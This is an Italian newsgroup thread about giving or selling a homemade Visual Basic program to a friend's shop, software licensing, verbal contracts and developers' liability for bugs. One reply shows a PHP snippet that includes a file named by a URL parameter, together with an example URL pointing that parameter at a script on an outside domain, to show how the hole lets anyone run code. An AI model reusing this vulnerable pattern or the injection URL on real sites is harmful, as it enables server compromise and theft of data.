Newsgroup: it.comp.programmare
Titolo: Per distribuire un software proprio realizzato in Visual Basic 2008 express...?

Salve,
Sono un provato ed ho l'hobby della programmazione.
Avrei intenzione di sviluppare una piccola applicazione per un amico che ha
un piccolo negozio d'abbigliamento.
1) Ora, se sviluppo tale software in vb2008 express e glielo consegno magri
gratuitamente perchè è un amico , lo posso fare senza problemi? o devo
necessariamente avere io partita iva o simile e fatturargli il software
anche a titolo gratuito?
2) Se invece , sempre utilizzando vb2008 express consegno il software da me
realizzato dietro corresponsione di un prezzo anche modico cosa dovrei fare?
documento cartaceo di consegna?? cosa?
3) In entrambi i casi precedenti, se all'amico avviene un controllo della
finanza e gli trovano il software da me sviluppato, tale amico deve avere
dei documenti particolari su tale software che gli ho consegnato ecc...?
grazie luca.
--------------------------------
Inviato via 
http://arianna.libero.it/usenet/

 dei documenti particolari su tale software che gli ho consegnato ecc...?
Forse ci sono altri gruppi piu' idonei per fare queste domande.
Comunque io non saprei bene che gruppo consigliarti.
Devi anche verificare che la licenza di Visual Basic Express ti permetta 
di ridistruibire le loro librerie e i prodotti creati con il software.
Devi verificare che si possa usare per creare applicazioni commerciali.
-- 
Andrea Francia
alias rm='trash' #use trash command instead of removing
rm -Rfv file     #put the file in the KDE trashcan
http://www.andreafrancia.it/trash

> dei documenti particolari su tale software che gli ho consegnato ecc...?
Possiedi un documento che attesta che Openoffice/Firefox o altro ti è 
stato consegnato?


>> ecc...?
No, se nella voce  "Licenza e condizioni d'uso" ci metti un bell' "uso 
gratuito"....
brix

 stato consegnato?
Di OpenOffice hai la licenza che è distribuita con il software.


un premio?
Non è un paragone adeguato. A parte che voglio vedere, poi, con la
competenza che c'è in giro, chi sarebbe in grado di dimostrare
tecnicamente la valida progettazione di un'applicazione software.

 tecnicamente la valida progettazione di un'applicazione software.
L'unica cosa che si può dimostrare è che il software soddisfa i requisiti.
Sempre che i requisiti siano verificabili (come sempre dovrebbero essere).
Per quanto riguarda la qualità della progettazione in ambito spaziale 
succede così: Il committente rivede l'architettura assieme un'altro 
quintale di documenti e i suoi tecnici decidono se approvarla o meno.
Naturalmente questo presume che i committente abbia le competenze 
necessarie per valutare il lavoro fatto dal fornitore.
Non ho idea in quali altri settori si lavora così ma mi piacerebbe saperlo.


 tecnicamente la valida progettazione di un'applicazione software.
Faciamo un esempio pratico:
Applicazione web-based scritta in php (il classico sito con area 
riservata ed accesso a porzioni del filesystem) installazione di default
Programmatore professionista;-)
  if ($_GET[page]) {
include $_GET[page];
} else {
include "home.php";
}
La vedi o non la vedi la back door?
http://nomesito.com?page=http:miodominio.com/mioscript.php
e sono cazzi!!!
Ora questo grossolano errore di programmazione mi consente di eseguire 
qualsiasi codice ed è visibile direttamente dal browser, e come lo vedo 
io lo vedono altri 10.000 hacker..
Quindi se portassimo in tribunale l'azienda che ha fornito 
l'applicazione e chiedessimo un risarcimento danni provocati da un 
ragazzino cinese che si è divertito a divulgare il contenuto dell'area 
riservata, le password di accesso, sostituito la home page ed utilizzato 
il server per fare spamming..
Tu che dici? Darebbero un premio al nostro "Programmatore 
professionista" di turno.

 
Tu credi che sia al Programmatore possa essere ritenuto responsabile da 
un tribunale ma io non sono mica convinto.
Potresti avere ragione, ma come faccio a convincermene?
Hai qualche riferimento legislativo o c'e' qualche sentenza già espressa 
dove il programmatore e stato ritenuto responsabile?


 dopo..
Non hai capito quello che diceva Andrea Laforgia.
I contratti verbali sono generici. Se ti metti d'accordo con il tuo 
vicino che se gli poti il ciliegio e lui ti tosa il prato a voce poi, tu 
gli poti il ciliegio e lui è obbligato a tosarti il prato.
Certo far valere un contratto verbale potrebbe essere piu' difficile di 
far valere un contratto scritto perché è piu' difficile dimostrare che 
sia stato stipulato. Pero' per la legge Italiana esistono.
Poi la legge prevede che alcuni tipi di contratto (ad esempio la 
compravendita di case, o la somministrazione di lavoro (*)) debbano 
essere per forza scritti. Pero' in generale in contratti possono essere 
anche solo verbali.
(*) potrei sbagliarmi.


professionista" di turno.
Non ci sono le condizioni per portare l'azienda in tribunale ed č
giusto che non ci siano. I sistemi informatici sono artefatti troppo
complessi e soggetti ad errore perché si possa individuare un livello
adeguato di protezione e per l'autore, e per l'utente. D'altro canto,
gli ambiti militari e medicali sono talmente importanti che non si puň
evitare di sbilanciare la protezione a favore degli utenti. E'
talmente complesso costruire un software bug free che se si
imponessero dei vincoli penali troppo severi per gli sviluppatori,
nessuno piů produrrebbe software. I debug č parte integrante del ciclo
di vita del software, non se ne puň fare a meno, e questo gli utenti
lo sanno bene. E' giusto che accettino i software "AS IS" ed č giusto
che i produttori non siano condannabili. In ogni caso, bisogna
comunque distinguere tra i progetti realizzati per un uso di massa e
progetti finalizzati al cliente. In quest'ultimo caso si puň limare
quel che si vuole nei contratti, stabilire SLA, penali, ecc...

 quel che si vuole nei contratti, stabilire SLA, penali, ecc...
Purché siano firmati, in ogni caso se il prodotto è difettoso la vedo 
ardua negare all'acquirente l'assistenza/riparazione/sostituzione salvo 
nel caso di software gratuito.

ardua negare all'acquirente 
Ti sfido a dimostrare che è "difettoso".
Questo era il mio ultimo messaggio, perché con gente come te si
degenera facilmente.

 nel caso di software gratuito.
Spesso un contratto di fornitura prevede proprio l'assistenza e la 
fornitura delle patch. Ma non è un dovere del produttore software 
sancito per legge. E' un accordo tra le parti.


 quel che si vuole nei contratti, stabilire SLA, penali, ecc...
Queste affermazioni mi sembrano molto giuste, le faceva anche il mio 
professore di "Sistemi per la progettazione automatica" ma non ho mai 
capito se c'e' un testo che ne parla.
Dato che non voglio chiedere al mio ex prof: Andrea hai qualche 
riferimento di testi o sito internet che parla di questi argomenti 
legali legati al software?
